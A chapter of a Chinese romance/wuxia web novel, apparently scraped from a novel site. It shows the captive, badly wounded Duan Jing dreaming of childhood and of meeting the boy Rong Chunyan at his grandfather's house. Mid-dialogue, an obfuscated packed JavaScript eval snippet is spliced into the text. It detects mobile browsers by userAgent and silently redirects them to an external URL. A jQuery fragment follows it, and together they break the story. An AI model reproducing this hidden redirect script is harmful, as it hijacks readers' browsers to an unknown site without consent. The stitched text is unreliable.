56.瑃儿
作品:《醉里挑灯看美人》 暗室里分不清白天黑夜,空气沉闷压抑,除了壁炉上的烛火时不时传来呲啦声响,唯有自己的呼吸声。
不知道被关了多久,段镜的意识总是浑浑噩噩的,只剩下伤口和断骨的疼痛,时不时折磨着他。
膝盖骨被生生敲碎,断裂的腿骨支出,皮肉碎骨翻卷着,看起来触目惊心,白衣早已辨不出颜色,上面遍布干涸的血迹混杂着污泥和血块。
慕容鸿刚刚取血完离开,他已经不知这是第几次被取血了,他想,自己应该快死了吧,兜兜转转间,竟又回到了原本的处境,只不过是换个地方罢了
人一旦陷入昏迷,那些往事便如走马观花般,一一闪现在脑海中。
段镜做了一个梦,梦里,他回到了小时候,第一次跟随母亲回祖宅省亲。
那一年,他刚满十岁,剑法初成,年少轻狂,整日里念叨着惩恶扬善。
阳春三月,庐州城内烟雨绵绵,带有段家家辉的马车停在了金府府门,负责看守大门的家丁见状急忙上前为马车上的主子搬凳子。
马夫很快撑好纸伞,车门缓缓打开,先下马车的是位年岁尚轻的少年,看模样不过十岁。
他穿着身红色云锦织就的劲装,头发高束成马尾,腰间别着把木剑,生得唇红齿白,五官精致,肌肤白皙宛若玉瓷,衬着左眼角下的泪痣,尤为醒目。
少年抬眸时,眸光璀璨,漂亮的丹凤眼微微上挑,眉目张扬,眼里带着骄矜和好奇。
“娘,到了。”
少年说着,回身去扶马车里坐着的美妇人。
他的容貌应当是遗传了妇人,两人五官上有七分相似。
“你兄长去哪了?”
妇人下了马车后看了眼后面,因着雨天,路上行人匆匆,并未见着还有他人跟着。
段镜目光闪烁,他别过眼去,语速飞快道:“兄长他听闻庐州的一品楼味道一绝,所以去给娘打包回来尝尝。”
金府大门在此时缓缓打开,金府管家丁伟笑容满面自府内步出,他快步下了石阶,伸手接过马夫手中的纸伞。
“大小姐,您都好些年没回来了,老爷夫人想你得紧,这下雨天的,快些进府去。”
他说着,视线落在段镜身上,笑道:“想必这位便是二公子了,跟大小姐小时候可真像,就是不知,大公子可有回来?”
段镜冲他露齿一笑:“兄长有事,一会儿便到了。”
金潇美眸微勾,也不禁盈盈一笑,她抬眼看着头顶的金府牌匾,感叹一声:“的确是好些年没回来了。”
自她出嫁后,除了归宁,便再也没回来过,如今,也是金府托人传来消息,说是金夫人思忧过重,所以她便带着两个儿子回祖宅探亲。
想到此,金潇面色一沉,忧思道:“不知母亲如何了?”
说话间,几人跟随着丁伟一起进了金府。
丁伟干笑了两声,略带犹豫道:“大小姐,有些话老奴不方便说与你听,我想,夫人会亲口告诉你的。”
段镜听后,来了兴致:“哦,莫不是我娘出嫁后,就成外人了,你这老仆,好生没道理,有什么话是说不得的。”
丁伟忙赔笑着:“哎哟我的小祖宗,有些话,还是不知道的为好,老奴都是为了二公子你好啊。”
“对了,正巧,前两日容小姐带着他儿子来投奔大小姐,老奴告诉她,大小姐这两日正好要回府省亲,还真是赶巧了。”
“容秀她不是嫁去西域了吗,天高路远的,定是有事才会回来,她府上前两年家道中落,如今无处可去,想必实在没办法才来找我的。”
金潇对此忧心忡忡。
丁伟一路在前带路,步过长廊,便是前厅,金老爷金万财在前厅等候已久。
听见说话声,金万财向来威严刻板的面上露出抹不自觉的笑意,他目光落在跟在两人身后走近的段镜身上。
金万财:“这是,淮允吧?”
段镜也是第一次见着金万财,他迅速行了一礼:“外祖父好,不孝子孙段淮允,给您老问安了。”
金万财捋了捋胡须,笑得开怀:“好好好,淮允都长这么大了。”
“兰茹啊,你都快十五年没回过府了,这次回来可得多待几日,轻竹也在,你们两个时隔多年,应当也有许多体己话要说,一会儿见了你母亲,就去青竹园找她吧。”
金潇看见多年未见的父亲,不禁泪眼婆娑:“是女儿不孝,让爹娘挂念了。”
丁伟也忍不住抹了抹眼泪:“老爷夫人一直都盼着大小姐和两个公子回来,如今啊,总算是见着了。”
这一聊便是两个时辰,金潇深知段镜的性子,这种煽情的场面,他不太愿意久待,所以中途就被金潇打发了出去。
段镜只能漫无目的在金府闲逛,这会儿天光放晴,正适合逛逛园子,丁伟有过交代,所以丫鬟先带他去了赏春阁,那里就暂且让他和兄长先住下。
“你方才说,里面已经住进去一个小公子了?”
段镜在听见丫鬟的话后,挑了挑眉,十分好奇的追问:“我听我娘说过,外祖父膝下只有一女,我娘是金家独女,又哪里来的小公子。”
丫鬟绿荷哪里敢隐瞒:“回二公子的话,住进去的小公子,是容表小姐家的,小公子今年才六岁,住在客房不太妥当,所以也被安排在了赏春阁。”
段镜:“原来如此。”
段镜初次见着容瑃厌时,那小家伙正抱着个脏兮兮的破布娃娃坐在秋千上打瞌睡,眼角还挂着泪痕。
眼瞅着头一歪,身子便歪歪扭扭的往下坠去,段镜眼疾手快,施展轻功来到秋千架旁伸手将人扶了起来。
“这哪来的小姑娘,睡在这儿,不怕着凉吗。”
虽说雨已经停了,但烟雨过后的雾气太重,就这么睡在秋千上,铁定着凉。
丫鬟将他送到赏春阁后就被他遣退了,这会儿阁中无人,段镜只得搂着这个漂亮的小孩儿将他扶正,并伸手推了推。
“喂,快醒醒,会着凉的。”
小孩儿被惊醒,他眨了眨迷蒙的大眼,眼捷扑闪着,水灵灵的桃花眼里充满胆怯,他瑟缩在秋千上,怀里紧抱着那个破布娃娃。
“你…你要打我吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124660|156681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
段镜一愣,十分不解的伸手捏了捏对方的小脸蛋:“小妹妹,哥哥打你做什么。”
他可没有这种欺负弱小的怪癖,更别说是一个半大小姑娘。
小孩儿也愣了愣,他瘪了瘪嘴,声音细弱蚊蝇的强调着:“我不是小妹妹,我是男孩子,而且,我有名字的。”
段镜挑了挑眉,颇为意外的调笑他:“那你叫什么名字啊弟弟。”
小孩儿咬了咬下唇,嗫嚅道:“瑃厌,我叫瑃厌,但是阿娘喜欢叫我花花,她有时候还会叫我的小字槿秋。”
段镜:“那你可听好了,以后呢,我就是你镜哥哥,我表字淮允,你也可以叫我淮允哥哥。”
“有我罩着你,就没人敢欺负你。”
他方才可见着这小孩儿在偷偷哭鼻子,想必以前经常被人欺负,毕竟,他生得这么漂亮,被人欺负,也很正常。
容瑃厌愣了愣,他呆呆的看着段镜,豆大的泪珠陡然从眼眶里滚落。
段镜见他哭了,一瞬间慌了神,忙伸手替他胡乱擦拭。
“我没欺负你啊,你哭什么。”
“你不是男孩子吗?怎么像小姑娘一样,这么爱哭鼻子。”
容瑃厌吸了吸鼻子,可怜巴巴的看着他:“除了阿娘,你是第一个对我这么好的人。”
“我喜欢你,淮允哥哥。”
段镜听后乐了,他拍了拍容瑃厌的小脑袋:“哈哈,那我教你舞剑吧,只要学了武功,就不怕被人欺负了,你还能反过头去欺负别人。”
容瑃厌不可置信的瞪大眼,眼里闪着兴奋的神采:“真的吗?”
他说着,抱着破布娃娃哼哧哼哧的就从秋千架上爬了下来。
“那我们现在就去吧。”
“……好像,也不用这么急。”
段镜实在拿他没办法。
“淮允,你这臭小子,在欺负小姑娘吗。”
院外传来一声怒吼,紧跟着,一个十五六岁左右的少年风风火火的进了院子。
他同段镜长得截然相反,没有遗传到金潇的美貌,而是遗传到了段海。
少年初长成,身形挺拔,相貌端正,仪表堂堂,为人古板正直,气质如松。
段镜见着段时瞬间心虚得别过眼去,但他很快反应过来,言之凿凿道:“我可没欺负他。”
容瑃厌下意识抱紧了娃娃,虽然胆怯,却依旧坚定的挡在段镜身前,故作镇定的抬眼看着段时,对他说:“淮允哥哥没有欺负我,他说以后要保护我的。”
“你说他?没两天他就把你忘了才是真的。”
段时对自己弟弟的性子那可是了如指掌,说段镜喜欢出风头,他信,说他会一直保护别人,这话一看就是假的。
段镜:“怎么可能,男子汉大丈夫,一言既出驷马难追。”
“我的志向可是荡平世间所有奸恶,闯荡江湖,行侠仗义。”
容瑃厌立刻为他鼓掌:“淮允哥哥,你一定会做到的!”
段时抽了抽嘴角:“小小年纪,就学会拍马屁了。”
被拍马屁的段镜:“…………”